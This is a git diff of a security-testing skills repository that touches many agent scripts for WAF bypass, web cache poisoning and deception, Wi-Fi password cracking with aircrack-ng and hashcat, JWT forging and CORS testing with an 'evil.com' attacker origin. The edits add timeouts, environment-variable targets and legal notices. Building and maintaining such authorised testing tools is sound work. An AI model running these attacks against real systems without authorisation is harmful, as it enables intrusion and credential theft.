WAFBypassAgent(url) agent.test_encoding_bypasses() agent.test_sqli_bypasses() diff --git a/skills/performing-web-application-penetration-test/scripts/agent.py b/skills/performing-web-application-penetration-test/scripts/agent.py index 31ce0e29..913f52a3 100644 --- a/skills/performing-web-application-penetration-test/scripts/agent.py +++ b/skills/performing-web-application-penetration-test/scripts/agent.py @@ -3,10 +3,9 @@ import subprocess import sys -import re import json import os -from urllib.parse import urlparse, urljoin +from urllib.parse import urlparse try: import requests diff --git a/skills/performing-web-application-scanning-with-nikto/SKILL.md b/skills/performing-web-application-scanning-with-nikto/SKILL.md index c049517c..c9f39418 100644 --- a/skills/performing-web-application-scanning-with-nikto/SKILL.md +++ b/skills/performing-web-application-scanning-with-nikto/SKILL.md @@ -41,7 +41,7 @@ Nikto is an open-source web server and web application scanner that tests agains | Authentication | Basic | Full | Full | Template | | Active Community | Yes | Yes | Yes | Yes | -## Implementation Steps +## Workflow ### Step 1: Basic Scanning ```bash diff --git a/skills/performing-web-cache-deception-attack/SKILL.md b/skills/performing-web-cache-deception-attack/SKILL.md index a1308afd..cc13b8c4 100644 --- a/skills/performing-web-cache-deception-attack/SKILL.md +++ b/skills/performing-web-cache-deception-attack/SKILL.md @@ -26,6 +26,9 @@ license: Apache-2.0 - Understanding of URL path parsing differences across technologies - Familiarity with common CDN platforms (Cloudflare, Akamai, Fastly, AWS CloudFront) + +> **Legal Notice:** This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws. + ## Workflow ### Step 1 — Identify Caching Layer and Behavior diff --git a/skills/performing-web-cache-deception-attack/scripts/agent.py b/skills/performing-web-cache-deception-attack/scripts/agent.py index 4fd0834d..87eba1d5 100644 --- a/skills/performing-web-cache-deception-attack/scripts/agent.py +++ b/skills/performing-web-cache-deception-attack/scripts/agent.py @@ -1,12 +1,16 @@ #!/usr/bin/env python3 +# For authorized penetration testing and educational environments only. +# Usage against targets without prior mutual consent is illegal. +# It is the end user's responsibility to obey all applicable local, state and federal laws. """Agent for testing web cache deception vulnerabilities. Appends static file extensions to authenticated URLs to test whether CDN/proxy caches serve personalized content to other users. """ -import requests import json +import os +import requests import sys from datetime import datetime @@ -120,7 +124,7 @@ class WebCacheDeceptionAgent: def main(): - url = sys.argv[1] if len(sys.argv) > 1 else "http://localhost:8080" + url = sys.argv[1] if len(sys.argv) > 1 else os.environ.get("TARGET_URL", "http://localhost:8080") path = sys.argv[2] if len(sys.argv) > 2 else "/account" cookie = sys.argv[3] if len(sys.argv) > 3 else None agent = WebCacheDeceptionAgent(url, auth_cookie=cookie) diff --git a/skills/performing-web-cache-poisoning-attack/SKILL.md b/skills/performing-web-cache-poisoning-attack/SKILL.md index 6ef8dcb1..7f921a44 100644 --- a/skills/performing-web-cache-poisoning-attack/SKILL.md +++ b/skills/performing-web-cache-poisoning-attack/SKILL.md @@ -28,6 +28,9 @@ license: Apache-2.0 - **Cache buster**: Unique query parameter to isolate test requests from other users - **Caution**: Cache poisoning affects all users; test with cache-busting parameters first + +> **Legal Notice:** This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws. + ## Workflow ### Step 1: Identify the Caching Layer and Behavior diff --git a/skills/performing-web-cache-poisoning-attack/scripts/agent.py b/skills/performing-web-cache-poisoning-attack/scripts/agent.py index b12385bf..ac747505 100644 --- a/skills/performing-web-cache-poisoning-attack/scripts/agent.py +++ b/skills/performing-web-cache-poisoning-attack/scripts/agent.py @@ -1,9 +1,11 @@ #!/usr/bin/env python3 +# For authorized penetration testing and educational environments only. +# Usage against targets without prior mutual consent is illegal. +# It is the end user's responsibility to obey all applicable local, state and federal laws. """Web cache poisoning assessment agent using requests and subprocess.""" import sys import json -import hashlib import time import random import string diff --git a/skills/performing-wifi-password-cracking-with-aircrack/scripts/agent.py b/skills/performing-wifi-password-cracking-with-aircrack/scripts/agent.py index 6a3a94c3..7036703a 100644 --- a/skills/performing-wifi-password-cracking-with-aircrack/scripts/agent.py +++ b/skills/performing-wifi-password-cracking-with-aircrack/scripts/agent.py @@ -15,7 +15,8 @@ def check_tools(): tools = {} for tool in ["airmon-ng", "airodump-ng", "aireplay-ng", "aircrack-ng", "hashcat"]: result = subprocess.run( - ["which", tool], capture_output=True, text=True + ["which", tool], capture_output=True, text=True, + timeout=120, ) tools[tool] = result.stdout.strip() if result.returncode == 0 else None return tools @@ -24,7 +25,8 @@ def check_tools(): def list_interfaces(): """List wireless interfaces.""" result = subprocess.run( - ["iw", "dev"], capture_output=True, text=True + ["iw", "dev"], capture_output=True, text=True, + timeout=120, ) interfaces = re.findall(r"Interface\s+(\S+)", result.stdout) return interfaces @@ -32,9 +34,10 @@ def list_interfaces(): def enable_monitor_mode(iface="wlan0"): """Enable monitor mode on wireless interface.""" - subprocess.run(["airmon-ng", "check", "kill"], capture_output=True) + subprocess.run(["airmon-ng", "check", "kill"], capture_output=True, timeout=120) result = subprocess.run( - ["airmon-ng", "start", iface], capture_output=True, text=True + ["airmon-ng", "start", iface], capture_output=True, text=True, + timeout=120, ) mon_match = re.search(r"monitor mode .* enabled on (\S+)", result.stdout) mon_iface = mon_match.group(1) if mon_match else f"{iface}mon" @@ -126,7 +129,8 @@ def try_pmkid_capture(mon_iface, bssid, channel, timeout=30): hash_file = "/tmp/pmkid_hash.txt" subprocess.run( ["hcxpcapngtool", "-o", hash_file, output_file], - capture_output=True + capture_output=True, + timeout=120, ) if os.path.exists(hash_file) and os.path.getsize(hash_file) > 0: return {"pmkid_captured": True, "hash_file": hash_file} @@ -171,8 +175,8 @@ def crack_with_hashcat(hash_file, wordlist="/usr/share/wordlists/rockyou.txt", def disable_monitor_mode(mon_iface="wlan0mon"): """Disable monitor mode and restore managed mode.""" - subprocess.run(["airmon-ng", "stop", mon_iface], capture_output=True) - subprocess.run(["systemctl", "restart", "NetworkManager"], capture_output=True) + subprocess.run(["airmon-ng", "stop", mon_iface], capture_output=True, timeout=120) + subprocess.run(["systemctl", "restart", "NetworkManager"], capture_output=True, timeout=120) return {"restored": True} diff --git a/skills/performing-wireless-security-assessment-with-kismet/SKILL.md b/skills/performing-wireless-security-assessment-with-kismet/SKILL.md index d4b6bc24..971d1846 100644 --- a/skills/performing-wireless-security-assessment-with-kismet/SKILL.md +++ b/skills/performing-wireless-security-assessment-with-kismet/SKILL.md @@ -56,7 +56,7 @@ Kismet uses a client-server architecture: | WPA2-Enterprise (802.1X) | Recommended | Low - certificate-based | | WPA3-SAE | Best practice | Low - resistant to offline attacks | -## Implementation Steps +## Workflow ### Step 1: Prepare Wireless Adapter diff --git a/skills/performing-wireless-security-assessment-with-kismet/scripts/agent.py b/skills/performing-wireless-security-assessment-with-kismet/scripts/agent.py index d2a40dac..2db4f84d 100644 --- a/skills/performing-wireless-security-assessment-with-kismet/scripts/agent.py +++ b/skills/performing-wireless-security-assessment-with-kismet/scripts/agent.py @@ -6,25 +6,27 @@ rogue AP detection, channel analysis, and wireless threat monitoring during security assessments. """ -import requests import json +import os +import requests import sys -from datetime import datetime from collections import defaultdict +from datetime import datetime class KismetAssessmentAgent: """Uses Kismet REST API for wireless security assessment.""" - def __init__(self, kismet_url="http://localhost:2501", + def __init__(self, kismet_url=None, api_key=None, username="kismet", password="kismet"): + kismet_url = kismet_url or os.environ.get("KISMET_URL", "http://localhost:2501") self.base_url = kismet_url.rstrip("/") self.session = requests.Session() if api_key: self.session.cookies.set("KISMET", api_key) else: self.session.post(f"{self.base_url}/session/check_login", - json={"username": username, "password": password}) + json={"username": username, "password": password}, timeout=30) self.findings = [] def _get(self, endpoint, params=None): @@ -135,7 +137,7 @@ class KismetAssessmentAgent: def main(): - url = sys.argv[1] if len(sys.argv) > 1 else "http://localhost:2501" + url = sys.argv[1] if len(sys.argv) > 1 else os.environ.get("KISMET_URL", "http://localhost:2501") api_key = sys.argv[2] if len(sys.argv) > 2 else None agent = KismetAssessmentAgent(url, api_key=api_key) agent.generate_report() diff --git a/skills/performing-yara-rule-development-for-detection/SKILL.md b/skills/performing-yara-rule-development-for-detection/SKILL.md index 96b53754..441a5964 100644 --- a/skills/performing-yara-rule-development-for-detection/SKILL.md +++ b/skills/performing-yara-rule-development-for-detection/SKILL.md @@ -37,7 +37,7 @@ Effective rules target patterns that are unique to the malware family and surviv YARA evaluates conditions short-circuit style. Place the most discriminating and cheapest-to-evaluate conditions first. Use `filesize` limits to skip irrelevant files quickly. Minimize regex usage in favor of hex patterns. Use `private` rules as building blocks for complex detection logic without generating standalone matches. -## Practical Steps +## Workflow ### Step 1: Analyze Sample for Unique Patterns diff --git a/skills/prioritizing-vulnerabilities-with-cvss-scoring/SKILL.md b/skills/prioritizing-vulnerabilities-with-cvss-scoring/SKILL.md index bbc0df88..2cdb6cf7 100644 --- a/skills/prioritizing-vulnerabilities-with-cvss-scoring/SKILL.md +++ b/skills/prioritizing-vulnerabilities-with-cvss-scoring/SKILL.md @@ -75,7 +75,7 @@ CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N ``` This example represents a network-exploitable vulnerability requiring no privileges, no user interaction, no attack requirements, with high impact on confidentiality, integrity, and availability of the vulnerable system. -## Implementation Steps +## Workflow ### Step 1: Assess Base Metrics For each vulnerability, evaluate: diff --git a/skills/prioritizing-vulnerabilities-with-cvss-scoring/scripts/agent.py b/skills/prioritizing-vulnerabilities-with-cvss-scoring/scripts/agent.py index 065cdacd..36786bcb 100644 --- a/skills/prioritizing-vulnerabilities-with-cvss-scoring/scripts/agent.py +++ b/skills/prioritizing-vulnerabilities-with-cvss-scoring/scripts/agent.py @@ -7,7 +7,6 @@ a risk-prioritized remediation report. """ import json -import sys import requests from datetime import datetime from collections import defaultdict diff --git a/skills/processing-stix-taxii-feeds/scripts/agent.py b/skills/processing-stix-taxii-feeds/scripts/agent.py index da4f318a..d01c1fd4 100644 --- a/skills/processing-stix-taxii-feeds/scripts/agent.py +++ b/skills/processing-stix-taxii-feeds/scripts/agent.py @@ -3,12 +3,10 @@ import json import sys -from datetime import datetime, timedelta try: from taxii2client.v21 import Server, Collection, as_pages - from stix2 import parse as stix_parse, Bundle, Indicator, Malware, ThreatActor - from stix2 import AttackPattern, Relationship, Identity, Campaign + from stix2 import parse as stix_parse, Malware from stix2.exceptions import InvalidValueError except ImportError: print("Install: pip install taxii2-client stix2") diff --git a/skills/profiling-threat-actor-groups/scripts/agent.py b/skills/profiling-threat-actor-groups/scripts/agent.py index 4a0e5d3d..123e6e96 100644 --- a/skills/profiling-threat-actor-groups/scripts/agent.py +++ b/skills/profiling-threat-actor-groups/scripts/agent.py @@ -4,7 +4,6 @@ import json import sys import os -from datetime import datetime try: from stix2 import MemoryStore, Filter diff --git a/skills/recovering-deleted-files-with-photorec/scripts/agent.py b/skills/recovering-deleted-files-with-photorec/scripts/agent.py index 7f659308..4234b2ed 100644 --- a/skills/recovering-deleted-files-with-photorec/scripts/agent.py +++ b/skills/recovering-deleted-files-with-photorec/scripts/agent.py @@ -14,7 +14,8 @@ from datetime import datetime def verify_photorec(): """Check that PhotoRec is installed and available.""" result = subprocess.run( - ["photorec", "--version"], capture_output=True, text=True + ["photorec", "--version"], capture_output=True, text=True, + timeout=120, ) if result.returncode == 0: return {"installed": True, "version": result.stdout.strip()} @@ -24,7 +25,8 @@ def verify_photorec(): def get_image_info(image_path): """Get forensic image information.""" file_result = subprocess.run( - ["file", image_path], capture_output=True, text=True + ["file", image_path], capture_output=True, text=True, + timeout=120, ) size = os.path.getsize(image_path) if os.path.exists(image_path) else 0 return { diff --git a/skills/reverse-engineering-android-malware-with-jadx/scripts/agent.py b/skills/reverse-engineering-android-malware-with-jadx/scripts/agent.py index 3cf2f903..9b76ee90 100644 --- a/skills/reverse-engineering-android-malware-with-jadx/scripts/agent.py +++ b/skills/reverse-engineering-android-malware-with-jadx/scripts/agent.py @@ -4,10 +4,8 @@ import subprocess import os import sys -import json import re import hashlib -import zipfile from xml.etree import ElementTree diff --git a/skills/reverse-engineering-dotnet-malware-with-dnspy/scripts/agent.py b/skills/reverse-engineering-dotnet-malware-with-dnspy/scripts/agent.py index 70611335..30db17c7 100644 --- a/skills/reverse-engineering-dotnet-malware-with-dnspy/scripts/agent.py +++ b/skills/reverse-engineering-dotnet-malware-with-dnspy/scripts/agent.py @@ -5,7 +5,6 @@ import subprocess import os import sys import re -import json import hashlib import struct diff --git a/skills/reverse-engineering-ios-app-with-frida/scripts/agent.py b/skills/reverse-engineering-ios-app-with-frida/scripts/agent.py index 49f60b9e..cb3f9d64 100644 --- a/skills/reverse-engineering-ios-app-with-frida/scripts/agent.py +++ b/skills/reverse-engineering-ios-app-with-frida/scripts/agent.py @@ -9,7 +9,6 @@ API calls for security assessment. import subprocess import json import sys -import re from datetime import datetime from pathlib import Path diff --git a/skills/reverse-engineering-malware-with-ghidra/scripts/agent.py b/skills/reverse-engineering-malware-with-ghidra/scripts/agent.py index be33b8ed..c38029a6 100644 --- a/skills/reverse-engineering-malware-with-ghidra/scripts/agent.py +++ b/skills/reverse-engineering-malware-with-ghidra/scripts/agent.py @@ -7,7 +7,6 @@ import sys import json import re import hashlib -from pathlib import Path try: import r2pipe diff --git a/skills/reverse-engineering-ransomware-encryption-routine/SKILL.md b/skills/reverse-engineering-ransomware-encryption-routine/SKILL.md index b441b903..6e4bdc0a 100644 --- a/skills/reverse-engineering-ransomware-encryption-routine/SKILL.md +++ b/skills/reverse-engineering-ransomware-encryption-routine/SKILL.md @@ -37,7 +37,7 @@ Windows ransomware typically uses CryptoAPI (`CryptAcquireContext`, `CryptGenKey Decryption opportunities arise from: hardcoded encryption keys, weak PRNG for key generation (using `GetTickCount` or `time()` as seed), reuse of IVs across files, ECB mode usage, keys remaining in memory post-encryption, and race conditions where keys can be captured during encryption. -## Practical Steps +## Workflow ### Step 1: Identify Cryptographic Functions diff --git a/skills/reverse-engineering-rust-malware/SKILL.md b/skills/reverse-engineering-rust-malware/SKILL.md index 5ba1ca44..2fe9c583 100644 --- a/skills/reverse-engineering-rust-malware/SKILL.md +++ b/skills/reverse-engineering-rust-malware/SKILL.md @@ -22,7 +22,7 @@ Rust has become increasingly popular for malware development due to its cross-co - Understanding of Rust memory model (ownership, borrowing) - Familiarity with Rust string types (String, &str, CString) -## Practical Steps +## Workflow ### Step 1: Identify and Parse Rust Binary Metadata diff --git a/skills/scanning-docker-images-with-trivy/SKILL.md b/skills/scanning-docker-images-with-trivy/SKILL.md index d08409db..9063a680 100644 --- a/skills/scanning-docker-images-with-trivy/SKILL.md +++ b/skills/scanning-docker-images-with-trivy/SKILL.md @@ -51,7 +51,7 @@ Trivy uses multiple vulnerability databases: - Amazon Linux Security Center - GitHub Advisory Database -## Implementation Steps +## Workflow ### Step 1: Install Trivy diff --git a/skills/scanning-infrastructure-with-nessus/SKILL.md b/skills/scanning-infrastructure-with-nessus/SKILL.md index 6d2b8acd..315c7017 100644 --- a/skills/scanning-infrastructure-with-nessus/SKILL.md +++ b/skills/scanning-infrastructure-with-nessus/SKILL.md @@ -41,7 +41,7 @@ Nessus organizes plugins into families including: - **Databases**: Oracle, MySQL, PostgreSQL, MSSQL - **Services**: DNS, SMTP, FTP, SSH, SNMP -## Implementation Steps +## Workflow ### Step 1: Initial Configuration ```bash diff --git a/skills/scanning-infrastructure-with-nessus/scripts/agent.py b/skills/scanning-infrastructure-with-nessus/scripts/agent.py index aee4b5d6..a33ffa27 100644 --- a/skills/scanning-infrastructure-with-nessus/scripts/agent.py +++ b/skills/scanning-infrastructure-with-nessus/scripts/agent.py @@ -7,6 +7,7 @@ vulnerability reports with severity-based prioritization. """ import json +import os import sys import time import urllib3 @@ -24,9 +25,9 @@ urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) class NessusScanAgent: """Manages Nessus vulnerability scans via REST API.""" - def __init__(self, host="https://localhost:8834", username="admin", + def __init__(self, host=None, username="admin", password="", output_dir="./nessus_scan"): - self.base_url = host.rstrip("/") + self.base_url = (host or os.environ.get("NESSUS_URL", "https://localhost:8834")).rstrip("/") self.username = username self.password = password self.token = None diff --git a/skills/securing-api-gateway-with-aws-waf/scripts/agent.py b/skills/securing-api-gateway-with-aws-waf/scripts/agent.py index e3267b60..64fe3add 100644 --- a/skills/securing-api-gateway-with-aws-waf/scripts/agent.py +++ b/skills/securing-api-gateway-with-aws-waf/scripts/agent.py @@ -3,7 +3,6 @@ import boto3 import json -import sys import argparse from datetime import datetime, timedelta, timezone diff --git a/skills/securing-aws-iam-permissions/scripts/agent.py b/skills/securing-aws-iam-permissions/scripts/agent.py index 29c1c9f4..da848a88 100644 --- a/skills/securing-aws-iam-permissions/scripts/agent.py +++ b/skills/securing-aws-iam-permissions/scripts/agent.py @@ -4,7 +4,6 @@ import boto3 import json import csv -import sys import argparse from datetime import datetime, timedelta, timezone from base64 import b64decode diff --git a/skills/securing-aws-lambda-execution-roles/scripts/agent.py b/skills/securing-aws-lambda-execution-roles/scripts/agent.py index c382a95a..78ddfb59 100644 --- a/skills/securing-aws-lambda-execution-roles/scripts/agent.py +++ b/skills/securing-aws-lambda-execution-roles/scripts/agent.py @@ -3,9 +3,7 @@ import boto3 import json -import sys import argparse -from datetime import datetime, timedelta, timezone def list_lambda_roles(region="us-east-1"): diff --git a/skills/securing-azure-with-microsoft-defender/scripts/agent.py b/skills/securing-azure-with-microsoft-defender/scripts/agent.py index d9dd5e5c..52789a07 100644 --- a/skills/securing-azure-with-microsoft-defender/scripts/agent.py +++ b/skills/securing-azure-with-microsoft-defender/scripts/agent.py @@ -3,7 +3,6 @@ import subprocess import json -import sys import argparse from datetime import datetime diff --git a/skills/securing-container-registry-images/scripts/agent.py b/skills/securing-container-registry-images/scripts/agent.py index 61303f0e..2630aabf 100644 --- a/skills/securing-container-registry-images/scripts/agent.py +++ b/skills/securing-container-registry-images/scripts/agent.py @@ -4,7 +4,6 @@ import boto3 import subprocess import json -import sys import os import argparse from datetime import datetime diff --git a/skills/securing-container-registry-with-harbor/SKILL.md b/skills/securing-container-registry-with-harbor/SKILL.md index 649e84f0..0cba538c 100644 --- a/skills/securing-container-registry-with-harbor/SKILL.md +++ b/skills/securing-container-registry-with-harbor/SKILL.md @@ -22,7 +22,7 @@ Harbor is an open-source container registry that provides security features incl - OIDC/LDAP for authentication - Kubernetes cluster (for deployment target) -## Implementation Steps +## Workflow ### Step 1: Install Harbor with Security Configuration diff --git a/skills/securing-container-registry-with-harbor/scripts/agent.py b/skills/securing-container-registry-with-harbor/scripts/agent.py index 65a4abcd..c2cdc5f9 100644 --- a/skills/securing-container-registry-with-harbor/scripts/agent.py +++ b/skills/securing-container-registry-with-harbor/scripts/agent.py @@ -8,7 +8,6 @@ and OIDC authentication via Harbor REST API v2.0. import json import sys -import base64 from pathlib import Path from datetime import datetime diff --git a/skills/securing-remote-access-to-ot-environment/scripts/agent.py b/skills/securing-remote-access-to-ot-environment/scripts/agent.py index ba703048..1f91aaec 100644 --- a/skills/securing-remote-access-to-ot-environment/scripts/agent.py +++ b/skills/securing-remote-access-to-ot-environment/scripts/agent.py @@ -8,9 +8,8 @@ requirements, and CIP-005 compliance auditing. import json import hashlib -import sys from pathlib import Path -from datetime import datetime, timedelta +from datetime import datetime from enum import Enum diff --git a/skills/securing-serverless-functions/scripts/agent.py b/skills/securing-serverless-functions/scripts/agent.py index ad621b1c..7826a0b2 100644 --- a/skills/securing-serverless-functions/scripts/agent.py +++ b/skills/securing-serverless-functions/scripts/agent.py @@ -3,7 +3,6 @@ import boto3 import json -import sys import argparse from datetime import datetime diff --git a/skills/testing-api-security-with-owasp-top-10/scripts/agent.py b/skills/testing-api-security-with-owasp-top-10/scripts/agent.py index 89a2bcfd..4f535cf2 100644 --- a/skills/testing-api-security-with-owasp-top-10/scripts/agent.py +++ b/skills/testing-api-security-with-owasp-top-10/scripts/agent.py @@ -1,9 +1,9 @@ #!/usr/bin/env python3 """Agent for automated API security testing against OWASP API Security Top 10.""" +import os import requests import json -import sys import argparse import urllib3 from datetime import datetime @@ -21,7 +21,7 @@ def test_bola(base_url, token, endpoints, id_range=(1, 20)): for obj_id in range(id_range[0], id_range[1]): url = urljoin(base_url, endpoint.replace("{id}", str(obj_id))) try: - resp = requests.get(url, headers=headers, timeout=10, verify=False) + resp = requests.get(url, headers=headers, timeout=10, verify=not os.environ.get("SKIP_TLS_VERIFY", "").lower() == "true") # Set SKIP_TLS_VERIFY=true for self-signed certs in lab environments if resp.status_code == 200 and len(resp.text) > 50: findings.append({ "risk": "API1-BOLA", "url": url, "status": resp.status_code, @@ -42,7 +42,7 @@ def test_broken_auth(base_url, login_endpoint="/api/v1/auth/login", attempts=50) for i in range(1, attempts + 1): try: resp = requests.post(url, json={"email": "test@test.com", "password": f"wrong{i}"}, - timeout=10, verify=False) + timeout=10, verify=not os.environ.get("SKIP_TLS_VERIFY", "").lower() == "true") # Set SKIP_TLS_VERIFY=true for self-signed certs in lab environments if resp.status_code == 429: print(f" [+] Rate limited at attempt {i}") rate_limited = True @@ -68,7 +68,7 @@ def test_data_exposure(base_url, token, endpoints): for endpoint in endpoints: url = urljoin(base_url, endpoint) try: - resp = requests.get(url, headers=headers, timeout=10, verify=False) + resp = requests.get(url, headers=headers, timeout=10, verify=not os.environ.get("SKIP_TLS_VERIFY", "").lower() == "true") # Set SKIP_TLS_VERIFY=true for self-signed certs in lab environments if resp.status_code == 200: try: data = resp.json() @@ -96,7 +96,7 @@ def test_mass_assignment(base_url, token, endpoint, payload_extras): for field, value in payload_extras.items(): try: resp = requests.patch(url, headers=headers, json={field: value}, - timeout=10, verify=False) + timeout=10, verify=not os.environ.get("SKIP_TLS_VERIFY", "").lower() == "true") # Set SKIP_TLS_VERIFY=true for self-signed certs in lab environments if resp.status_code in (200, 201): resp_data = resp.json() if resp.text else {} if str(value) in json.dumps(resp_data): @@ -115,7 +115,7 @@ def test_security_headers(base_url): print("\n[*] Testing API8: Security Misconfiguration (headers)...") findings = [] try: - resp = requests.get(base_url, timeout=10, verify=False) + resp = requests.get(base_url, timeout=10, verify=not os.environ.get("SKIP_TLS_VERIFY", "").lower() == "true") # Set SKIP_TLS_VERIFY=true for self-signed certs in lab environments required_headers = { "Strict-Transport-Security": "HSTS", "X-Content-Type-Options": "nosniff", @@ -145,7 +145,7 @@ def test_cors(base_url, endpoints): url = urljoin(base_url, endpoint) for origin in evil_origins: try: - resp = requests.get(url, headers={"Origin": origin}, timeout=10, verify=False) + resp = requests.get(url, headers={"Origin": origin}, timeout=10, verify=not os.environ.get("SKIP_TLS_VERIFY", "").lower() == "true") # Set SKIP_TLS_VERIFY=true for self-signed certs in lab environments acao = resp.headers.get("Access-Control-Allow-Origin", "") acac = resp.headers.get("Access-Control-Allow-Credentials", "") if acao == origin and acac.lower() == "true": @@ -167,7 +167,7 @@ def test_api_versions(base_url, path_prefix="/api"): for v in versions: url = urljoin(base_url, f"{path_prefix}/{v}/users") try: - resp = requests.get(url, timeout=5, verify=False) + resp = requests.get(url, timeout=5, verify=not os.environ.get("SKIP_TLS_VERIFY", "").lower() == "true") # Set SKIP_TLS_VERIFY=true for self-signed certs in lab environments if resp.status_code not in (404, 000): findings.append({"risk": "API9-INVENTORY", "url": url, "status": resp.status_code}) print(f" [+] {v}: {resp.status_code}") diff --git a/skills/testing-cors-misconfiguration/scripts/agent.py b/skills/testing-cors-misconfiguration/scripts/agent.py index 7d14a193..fddf7bb4 100644 --- a/skills/testing-cors-misconfiguration/scripts/agent.py +++ b/skills/testing-cors-misconfiguration/scripts/agent.py @@ -1,9 +1,9 @@ #!/usr/bin/env python3 """Agent for testing CORS misconfiguration vulnerabilities during authorized assessments.""" +import os import requests import json -import sys import argparse import urllib3 from datetime import datetime @@ -40,7 +40,7 @@ def test_origin_reflection(url, origins, cookies=None): try: headers = {"Origin": origin} resp = requests.get(url, headers=headers, cookies=cookies, - timeout=10, verify=False) + timeout=10, verify=not os.environ.get("SKIP_TLS_VERIFY", "").lower() == "true") # Set SKIP_TLS_VERIFY=true for self-signed certs in lab environments acao = resp.headers.get("Access-Control-Allow-Origin", "") acac = resp.headers.get("Access-Control-Allow-Credentials", "") if acao and acao != "": @@ -73,7 +73,7 @@ def test_preflight(url, origin="https://evil.com"): "Access-Control-Request-Method": method, "Access-Control-Request-Headers": "Authorization, Content-Type", } - resp = requests.options(url, headers=headers, timeout=10, verify=False) + resp = requests.options(url, headers=headers, timeout=10, verify=not os.environ.get("SKIP_TLS_VERIFY", "").lower() == "true") # Set SKIP_TLS_VERIFY=true for self-signed certs in lab environments acam = resp.headers.get("Access-Control-Allow-Methods", "") acah = resp.headers.get("Access-Control-Allow-Headers", "") max_age = resp.headers.get("Access-Control-Max-Age", "") @@ -95,7 +95,7 @@ def test_wildcard_with_credentials(url): print(f"\n[*] Testing wildcard + credentials on {url}") try: resp = requests.get(url, headers={"Origin": "https://any.com"}, - timeout=10, verify=False) + timeout=10, verify=not os.environ.get("SKIP_TLS_VERIFY", "").lower() == "true") # Set SKIP_TLS_VERIFY=true for self-signed certs in lab environments acao = resp.headers.get("Access-Control-Allow-Origin", "") acac = resp.headers.get("Access-Control-Allow-Credentials", "") if acao == "*" and acac.lower() == "true": @@ -113,7 +113,7 @@ def test_null_origin(url, cookies=None): print(f"\n[*] Testing null origin on {url}") try: resp = requests.get(url, headers={"Origin": "null"}, cookies=cookies, - timeout=10, verify=False) + timeout=10, verify=not os.environ.get("SKIP_TLS_VERIFY", "").lower() == "true") # Set SKIP_TLS_VERIFY=true for self-signed certs in lab environments acao = resp.headers.get("Access-Control-Allow-Origin", "") acac = resp.headers.get("Access-Control-Allow-Credentials", "") if acao == "null": @@ -140,7 +140,7 @@ def test_internal_origins(url, cookies=None): for origin in internal: try: resp = requests.get(url, headers={"Origin": origin}, cookies=cookies, - timeout=10, verify=False) + timeout=10, verify=not os.environ.get("SKIP_TLS_VERIFY", "").lower() == "true") # Set SKIP_TLS_VERIFY=true for self-signed certs in lab environments acao = resp.headers.get("Access-Control-Allow-Origin", "") if acao == origin: findings.append({"url": url, "origin": origin, "severity": "MEDIUM"}) diff --git a/skills/testing-for-broken-access-control/scripts/agent.py b/skills/testing-for-broken-access-control/scripts/agent.py index d5f3870e..07c953b1 100644 --- a/skills/testing-for-broken-access-control/scripts/agent.py +++ b/skills/testing-for-broken-access-control/scripts/agent.py @@ -3,7 +3,6 @@ import requests import json -import sys import argparse import urllib3 from datetime import datetime diff --git a/skills/testing-for-business-logic-vulnerabilities/scripts/agent.py b/skills/testing-for-business-logic-vulnerabilities/scripts/agent.py index 14a189b1..61af0aa4 100644 --- a/skills/testing-for-business-logic-vulnerabilities/scripts/agent.py +++ b/skills/testing-for-business-logic-vulnerabilities/scripts/agent.py @@ -3,7 +3,6 @@ import requests import json -import sys import argparse import urllib3 import threading diff --git a/skills/testing-for-host-header-injection/SKILL.md b/skills/testing-for-host-header-injection/SKILL.md index 2c33ca0a..ba63860f 100644 --- a/skills/testing-for-host-header-injection/SKILL.md +++ b/skills/testing-for-host-header-injection/SKILL.md @@ -26,6 +26,9 @@ license: Apache-2.0 - Burp Collaborator or interact.sh for out-of-band detection - Multiple test accounts for password reset testing + +> **Legal Notice:** This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws. + ## Workflow ### Step 1 — Test Basic Host Header Injection diff --git a/skills/testing-for-host-header-injection/scripts/agent.py b/skills/testing-for-host-header-injection/scripts/agent.py index e57bab26..a746c2db 100644 --- a/skills/testing-for-host-header-injection/scripts/agent.py +++ b/skills/testing-for-host-header-injection/scripts/agent.py @@ -1,4 +1,7 @@ #!/usr/bin/env python3 +# For authorized penetration testing and educational environments only. +# Usage against targets without prior mutual consent is illegal. +# It is the end user's responsibility to obey all applicable local, state and federal laws. """Agent for testing HTTP Host header injection vulnerabilities. Tests web applications for password reset poisoning, web cache diff --git a/skills/testing-for-json-web-token-vulnerabilities/SKILL.md b/skills/testing-for-json-web-token-vulnerabilities/SKILL.md index aaf2863f..c3b6e387 100644 --- a/skills/testing-for-json-web-token-vulnerabilities/SKILL.md +++ b/skills/testing-for-json-web-token-vulnerabilities/SKILL.md @@ -27,6 +27,9 @@ license: Apache-2.0 - Python PyJWT library for custom JWT forging scripts - Access to application using JWT-based authentication + +> **Legal Notice:** This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws. + ## Workflow ### Step 1 — Decode and Analyze JWT Structure diff --git a/skills/testing-for-json-web-token-vulnerabilities/scripts/agent.py b/skills/testing-for-json-web-token-vulnerabilities/scripts/agent.py index aecf4341..dc0e51a8 100644 --- a/skills/testing-for-json-web-token-vulnerabilities/scripts/agent.py +++ b/skills/testing-for-json-web-token-vulnerabilities/scripts/agent.py @@ -1,4 +1,7 @@ #!/usr/bin/env python3 +# For authorized penetration testing and educational environments only. +# Usage against targets without prior mutual consent is illegal. +# It is the end user's responsibility to obey all applicable local, state and federal laws. """Agent for testing JSON Web Token vulnerabilities. Tests JWT implementations for algorithm confusion, none algorithm diff --git a/skills/testing-for-open-redirect-vulnerabilities/SKILL.md b/skills/testing-for-open-redirect-vulnerabilities/SKILL.md index 2640607d..ba47b67e 100644 --- a/skills/testing-for-open-redirect-vulnerabilities/SKILL.md +++ b/skills/testing-for-open-redirect-vulnerabilities/SKILL.md @@ -26,6 +26,9 @@ license: Apache-2.0 - Browser with developer tools for observing redirect chains - Knowledge of HTTP 301/302/303/307/308 redirect status codes + +> **Legal Notice:** This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws. + ## Workflow ### Step 1 — Identify Redirect Parameters 